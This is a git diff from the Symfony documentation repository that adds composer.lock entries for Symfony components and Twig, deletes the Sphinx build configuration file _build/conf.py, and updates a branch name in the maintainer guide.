"source": "https://github.com/symfony/dom-crawler/tree/v7.2.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2025-02-17T15:53:07+00:00" + }, + { + "name": "symfony/filesystem", + "version": "v7.2.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/filesystem.git", + "reference": "b8dce482de9d7c9fe2891155035a7248ab5c7fdb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/b8dce482de9d7c9fe2891155035a7248ab5c7fdb", + "reference": "b8dce482de9d7c9fe2891155035a7248ab5c7fdb", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-mbstring": "~1.8" + }, + "require-dev": { + "symfony/process": "^6.4|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Filesystem\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides basic utilities for the filesystem", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/filesystem/tree/v7.2.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-10-25T15:15:23+00:00" + }, + { + "name": "symfony/finder", + "version": "v7.2.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "87a71856f2f56e4100373e92529eed3171695cfb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/87a71856f2f56e4100373e92529eed3171695cfb", + "reference": "87a71856f2f56e4100373e92529eed3171695cfb", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "symfony/filesystem": "^6.4|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Finds files and directories via an intuitive fluent interface", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/finder/tree/v7.2.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-12-30T19:00:17+00:00" + }, + { + "name": "symfony/http-client", + "version": "v7.2.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-client.git", + "reference": "78981a2ffef6437ed92d4d7e2a86a82f256c6dc6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-client/zipball/78981a2ffef6437ed92d4d7e2a86a82f256c6dc6", + "reference": "78981a2ffef6437ed92d4d7e2a86a82f256c6dc6", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "psr/log": "^1|^2|^3", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/http-client-contracts": "~3.4.4|^3.5.2", + "symfony/service-contracts": "^2.5|^3" + }, + "conflict": { + "amphp/amp": "<2.5", + "php-http/discovery": "<1.15", + "symfony/http-foundation": "<6.4" + }, + "provide": { + "php-http/async-client-implementation": "*", + "php-http/client-implementation": "*", + "psr/http-client-implementation": "1.0", + "symfony/http-client-implementation": "3.0" + }, + "require-dev": { + "amphp/http-client": "^4.2.1|^5.0", + "amphp/http-tunnel": "^1.0|^2.0", + "amphp/socket": "^1.1", + "guzzlehttp/promises": "^1.4|^2.0", + "nyholm/psr7": "^1.0", + "php-http/httplug": "^1.0|^2.0", + "psr/http-client": "^1.0", + "symfony/amphp-http-client-meta": "^1.0|^2.0", + "symfony/dependency-injection": "^6.4|^7.0", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/messenger": "^6.4|^7.0", + "symfony/process": "^6.4|^7.0", + "symfony/rate-limiter": "^6.4|^7.0", + "symfony/stopwatch": "^6.4|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\HttpClient\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously", + "homepage": "https://symfony.com", + "keywords": [ + "http" + ], + "support": { + "source": "https://github.com/symfony/http-client/tree/v7.2.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2025-02-13T10:27:23+00:00" + }, + { + "name": "symfony/http-client-contracts", + "version": "v3.5.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-client-contracts.git", + "reference": "ee8d807ab20fcb51267fdace50fbe3494c31e645" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/ee8d807ab20fcb51267fdace50fbe3494c31e645", + "reference": "ee8d807ab20fcb51267fdace50fbe3494c31e645", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.5-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\HttpClient\\": "" + }, + "exclude-from-classmap": [ + "/Test/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to HTTP clients", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/http-client-contracts/tree/v3.5.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-12-07T08:49:48+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.31.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/a3cc8b044a6ea513310cbd48ef7333b384945638", + "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "provide": { + "ext-ctype": "*" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "support": { + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.31.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-09T11:45:10+00:00" + }, + { + "name": "symfony/polyfill-intl-grapheme", + "version": "v1.31.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-grapheme.git", + "reference": "b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe", + "reference": "b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Grapheme\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's grapheme_* functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "grapheme", + "intl", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.31.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-09T11:45:10+00:00" + }, + { + "name": "symfony/polyfill-intl-normalizer", + "version": "v1.31.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-normalizer.git", + "reference": "3833d7255cc303546435cb650316bff708a1c75c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/3833d7255cc303546435cb650316bff708a1c75c", + "reference": "3833d7255cc303546435cb650316bff708a1c75c", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Normalizer\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's Normalizer class and related functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "intl", + "normalizer", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.31.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-09T11:45:10+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.31.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "85181ba99b2345b0ef10ce42ecac37612d9fd341" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/85181ba99b2345b0ef10ce42ecac37612d9fd341", + "reference": "85181ba99b2345b0ef10ce42ecac37612d9fd341", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "provide": { + "ext-mbstring": "*" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.31.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-09T11:45:10+00:00" + }, + { + "name": "symfony/process", + "version": "v6.4.19", + "source": { + "type": "git", + "url": "https://github.com/symfony/process.git", + "reference": "7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/process/zipball/7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3", + "reference": "7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Process\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Executes commands in sub-processes", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/process/tree/v6.4.19" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2025-02-04T13:35:48+00:00" + }, + { + "name": "symfony/service-contracts", + "version": "v3.5.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/service-contracts.git", + "reference": "e53260aabf78fb3d63f8d79d69ece59f80d5eda0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/e53260aabf78fb3d63f8d79d69ece59f80d5eda0", + "reference": "e53260aabf78fb3d63f8d79d69ece59f80d5eda0", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/container": "^1.1|^2.0", + "symfony/deprecation-contracts": "^2.5|^3" + }, + "conflict": { + "ext-psr": "<1.1|>=2" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.5-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Service\\": "" + }, + "exclude-from-classmap": [ + "/Test/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to writing services", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/service-contracts/tree/v3.5.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-25T14:20:29+00:00" + }, + { + "name": "symfony/string", + "version": "v7.2.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/string.git", + "reference": "446e0d146f991dde3e73f45f2c97a9faad773c82" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/string/zipball/446e0d146f991dde3e73f45f2c97a9faad773c82", + "reference": "446e0d146f991dde3e73f45f2c97a9faad773c82", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-intl-grapheme": "~1.0", + "symfony/polyfill-intl-normalizer": "~1.0", + "symfony/polyfill-mbstring": "~1.0" + }, + "conflict": { + "symfony/translation-contracts": "<2.5" + }, + "require-dev": { + "symfony/emoji": "^7.1", + "symfony/error-handler": "^6.4|^7.0", + "symfony/http-client": "^6.4|^7.0", + "symfony/intl": "^6.4|^7.0", + "symfony/translation-contracts": "^2.5|^3.0", + "symfony/var-exporter": "^6.4|^7.0" + }, + "type": "library", + "autoload": { + "files": [ + "Resources/functions.php" + ], + "psr-4": { + "Symfony\\Component\\String\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", + "homepage": "https://symfony.com", + "keywords": [ + "grapheme", + "i18n", + "string", + "unicode", + "utf-8", + "utf8" + ], + "support": { + "source": "https://github.com/symfony/string/tree/v7.2.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-11-13T13:31:26+00:00" + }, + { + "name": "symfony/translation-contracts", + "version": "v3.5.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/translation-contracts.git", + "reference": "4667ff3bd513750603a09c8dedbea942487fb07c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/4667ff3bd513750603a09c8dedbea942487fb07c", + "reference": "4667ff3bd513750603a09c8dedbea942487fb07c", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.5-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Translation\\": "" + }, + "exclude-from-classmap": [ + "/Test/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to translation", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/translation-contracts/tree/v3.5.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-25T14:20:29+00:00" + }, + { + "name": "twig/twig", + "version": "v3.20.0", + "source": { + "type": "git", + "url": "https://github.com/twigphp/Twig.git", + "reference": "3468920399451a384bef53cf7996965f7cd40183" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/twigphp/Twig/zipball/3468920399451a384bef53cf7996965f7cd40183", + "reference": "3468920399451a384bef53cf7996965f7cd40183", + "shasum": "" + }, + "require": { + "php": ">=8.1.0", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-ctype": "^1.8", + "symfony/polyfill-mbstring": "^1.3" + }, + "require-dev": { + "phpstan/phpstan": "^2.0", + "psr/container": "^1.0|^2.0", + "symfony/phpunit-bridge": "^5.4.9|^6.4|^7.0" + }, + "type": "library", + "autoload": { + "files": [ + "src/Resources/core.php", + "src/Resources/debug.php", + "src/Resources/escaper.php", + "src/Resources/string_loader.php" + ], + "psr-4": { + "Twig\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com", + "homepage": "http://fabien.potencier.org", + "role": "Lead Developer" + }, + { + "name": "Twig Team", + "role": "Contributors" + }, + { + "name": "Armin Ronacher", + "email": "armin.ronacher@active-4.com", + "role": "Project Founder" + } + ], + "description": "Twig, the flexible, fast, and secure template language for PHP", + "homepage": "https://twig.symfony.com", + "keywords": [ + "templating" + ], + "support": { + "issues": "https://github.com/twigphp/Twig/issues", + "source": "https://github.com/twigphp/Twig/tree/v3.20.0" + }, + "funding": [ + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/twig/twig", + "type": "tidelift" + } + ], + "time": "2025-02-13T08:34:43+00:00" + } + ], + "packages-dev": [], + "aliases": [], + "minimum-stability": "dev", + "stability-flags": {}, + "prefer-stable": true, + "prefer-lowest": false, + "platform": { + "php": ">=8.3" + }, + "platform-dev": {}, + "platform-overrides": { + "php": "8.3" + }, + "plugin-api-version": "2.6.0" +} diff --git a/_build/conf.py b/_build/conf.py deleted file mode 100644 index 071991c5411..00000000000 --- a/_build/conf.py +++ /dev/null @@ -1,302 +0,0 @@ -# -*- coding: utf-8 -*- -# -# Symfony documentation build configuration file, created by -# sphinx-quickstart on Sat Jul 28 21:58:57 2012. -# -# This file is execfile()d with the current directory set to its containing dir. -# -# Note that not all possible configuration values are present in this -# autogenerated file. -# -# All configuration values have a default; values that are commented out -# serve to show the default. - -import sys, os - -# If extensions (or modules to document with autodoc) are in another directory, -# add these directories to sys.path here. If the directory is relative to the -# documentation root, use os.path.abspath to make it absolute, like shown here. -sys.path.append(os.path.abspath('_exts')) - -# adding PhpLexer -from sphinx.highlighting import lexers -from pygments.lexers.compiled import CLexer -from pygments.lexers.shell import BashLexer -from pygments.lexers.special import TextLexer -from pygments.lexers.text import RstLexer -from pygments.lexers.web import PhpLexer -from symfonycom.sphinx.lexer import TerminalLexer - -# -- General configuration ----------------------------------------------------- - -# If your documentation needs a minimal Sphinx version, state it here. -needs_sphinx = '1.8.5' - -# Add any Sphinx extension module names here, as strings. They can be extensions -# coming with Sphinx (named 'sphinx.ext.*') or your custom ones. -extensions = [ - 'sphinx.ext.autodoc', 'sphinx.ext.doctest', - 'sphinx.ext.todo', 'sphinx.ext.coverage', 'sphinx.ext.ifconfig', - 'sphinx.ext.viewcode', 'sphinx.ext.extlinks', - 'sensio.sphinx.codeblock', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice' - #,'sphinxcontrib.spelling' -] - -#spelling_show_sugestions=True -#spelling_lang='en_US' -#spelling_word_list_filename='_build/spelling_word_list.txt' - -# Add any paths that contain templates here, relative to this directory. -# templates_path = ['_theme/_templates'] - -# The suffix of source filenames. -source_suffix = '.rst' - -# The encoding of source files. -#source_encoding = 'utf-8-sig' - -# The master toctree document. -master_doc = 'index' - -# General information about the project. -project = 'Symfony Framework Documentation' -copyright = '' - -# The version info for the project you're documenting, acts as replacement for -# |version| and |release|, also used in various other places throughout the -# built documents. -# -# The short X.Y version. -# version = '2.2' -# The full version, including alpha/beta/rc tags. -# release = '2.2.13' - -# The language for content autogenerated by Sphinx. Refer to documentation -# for a list of supported languages. -#language = None - -# There are two options for replacing |today|: either, you set today to some -# non-false value, then it is used: -#today = '' -# Else, today_fmt is used as the format for a strftime call. -#today_fmt = '%B %d, %Y' - -# List of patterns, relative to source directory, that match files and -# directories to ignore when looking for source files. -exclude_patterns = ['_build'] - -# The reST default role (used for this markup: `text`) to use for all documents. -#default_role = None - -# If true, '()' will be appended to :func: etc. cross-reference text. -#add_function_parentheses = True - -# If true, the current module name will be prepended to all description -# unit titles (such as .. function::). -#add_module_names = True - -# If true, sectionauthor and moduleauthor directives will be shown in the -# output. They are ignored by default. -#show_authors = False - -# The name of the Pygments (syntax highlighting) style to use. -pygments_style = 'symfonycom.sphinx.SensioStyle' - -# A list of ignored prefixes for module index sorting. -#modindex_common_prefix = [] - -# -- Settings for symfony doc extension --------------------------------------------------- - -# enable highlighting for PHP code not between ``<?php ... ?>`` by default -lexers['markdown'] = TextLexer() -lexers['php'] = PhpLexer(startinline=True) -lexers['php-annotations'] = PhpLexer(startinline=True) -lexers['php-attributes'] = PhpLexer(startinline=True) -lexers['php-standalone'] = PhpLexer(startinline=True) -lexers['php-symfony'] = PhpLexer(startinline=True) -lexers['rst'] = RstLexer() -lexers['varnish2'] = CLexer() -lexers['varnish3'] = CLexer() -lexers['varnish4'] = CLexer() -lexers['terminal'] = TerminalLexer() -lexers['env'] = BashLexer() - -config_block = { - 'apache': 'Apache', - 'markdown': 'Markdown', - 'nginx': 'Nginx', - 'rst': 'reStructuredText', - 'varnish2': 'Varnish 2', - 'varnish3': 'Varnish 3', - 'varnish4': 'Varnish 4', - 'env': '.env' -} - -# don't enable Sphinx Domains -primary_domain = None - -# set url for API links -api_url = 'https://github.com/symfony/symfony/blob/master/src/%s.php' - - -# -- Options for HTML output --------------------------------------------------- - -# The theme to use for HTML and HTML Help pages. See the documentation for -# a list of builtin themes. -html_theme = "sphinx_rtd_theme" - -# Theme options are theme-specific and customize the look and feel of a theme -# further. For a list of options available for each theme, see the -# documentation. -html_theme_options = { - 'logo_only': True, - 'prev_next_buttons_location': None, - 'style_nav_header_background': '#f0f0f0' -} - -# Add any paths that contain custom themes here, relative to this directory. -#html_theme_path = [] - -# The name for this set of Sphinx documents. If None, it defaults to -# "<project> v<release> documentation". -#html_title = None - -# A shorter title for the navigation bar. Default is the same as html_title. -#html_short_title = None - -# The name of an image file (relative to this directory) to place at the top -# of the sidebar. -html_logo = '_static/symfony-logo.svg' - -# The name of an image file (within the static path) to use as favicon of the -# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 -# pixels large. -#html_favicon = None - -# Add any paths that contain custom static files (such as style sheets) here, -# relative to this directory. They are copied after the builtin static files, -# so a file named "default.css" will overwrite the builtin "default.css". -html_static_path = ['_static'] -html_css_files = ['rtd_custom.css'] - -# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, -# using the given strftime format. -#html_last_updated_fmt = '%b %d, %Y' - -# If true, SmartyPants will be used to convert quotes and dashes to -# typographically correct entities. -#html_use_smartypants = True - -# Custom sidebar templates, maps document names to template names. -#html_sidebars = {} - -# Additional templates that should be rendered to pages, maps page names to -# template names. -#html_additional_pages = {} - -# If false, no module index is generated. -#html_domain_indices = True - -# If false, no index is generated. -#html_use_index = True - -# If true, the index is split into individual pages for each letter. -#html_split_index = False - -# If true, links to the reST sources are added to the pages. -#html_show_sourcelink = True - -# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. -#html_show_sphinx = True - -# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. -#html_show_copyright = True - -# If true, an OpenSearch description file will be output, and all pages will -# contain a <link> tag referring to it. The value of this option must be the -# base URL from which the finished HTML is served. -#html_use_opensearch = '' - -# This is the file name suffix for HTML files (e.g. ".xhtml"). -#html_file_suffix = None - -# Output file base name for HTML help builder. -htmlhelp_basename = 'SymfonyDoc' - - -# -- Options for LaTeX output -------------------------------------------------- - -latex_elements = { -# The paper size ('letterpaper' or 'a4paper'). -#'papersize': 'letterpaper', - -# The font size ('10pt', '11pt' or '12pt'). -#'pointsize': '10pt', - -# Additional stuff for the LaTeX preamble. -#'preamble': '', -} - -# Grouping the document tree into LaTeX files. List of tuples -# (source start file, target name, title, author, documentclass [howto/manual]). -latex_documents = [ - ('index', 'Symfony.tex', u'Symfony Documentation', - u'Symfony community', 'manual'), -] - -# The name of an image file (relative to this directory) to place at the top of -# the title page. -#latex_logo = None - -# For "manual" documents, if this is true, then toplevel headings are parts, -# not chapters. -#latex_use_parts = False - -# If true, show page references after internal links. -#latex_show_pagerefs = False - -# If true, show URL addresses after external links. -#latex_show_urls = False - -# Documents to append as an appendix to all manuals. -#latex_appendices = [] - -# If false, no module index is generated. -#latex_domain_indices = True - - -# -- Options for manual page output -------------------------------------------- - -# One entry per manual page. List of tuples -# (source start file, name, description, authors, manual section). -man_pages = [ - ('index', 'symfony', u'Symfony Documentation', - [u'Symfony community'], 1) -] - -# If true, show URL addresses after external links. -#man_show_urls = False - - -# -- Options for Texinfo output ------------------------------------------------ - -# Grouping the document tree into Texinfo files. List of tuples -# (source start file, target name, title, author, -# dir menu entry, description, category) -texinfo_documents = [ - ('index', 'Symfony', u'Symfony Documentation', - u'Symfony community', 'Symfony', 'One line description of project.', - 'Miscellaneous'), -] - -# Documents to append as an appendix to all manuals. -#texinfo_appendices = [] - -# If false, no module index is generated. -#texinfo_domain_indices = True - -# How to display URL addresses: 'footnote', 'no', or 'inline'. -#texinfo_show_urls = 'footnote' - -# Use PHP syntax highlighting in code examples by default -highlight_language='php' diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst index 7eff3143941..9758b4e7397 100644 --- a/_build/maintainer_guide.rst +++ b/_build/maintainer_guide.rst @@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them. $ gh merge 11059 - Working on symfony/symfony-docs (branch master) + Working on symfony/symfony-docs (branch 6.2) 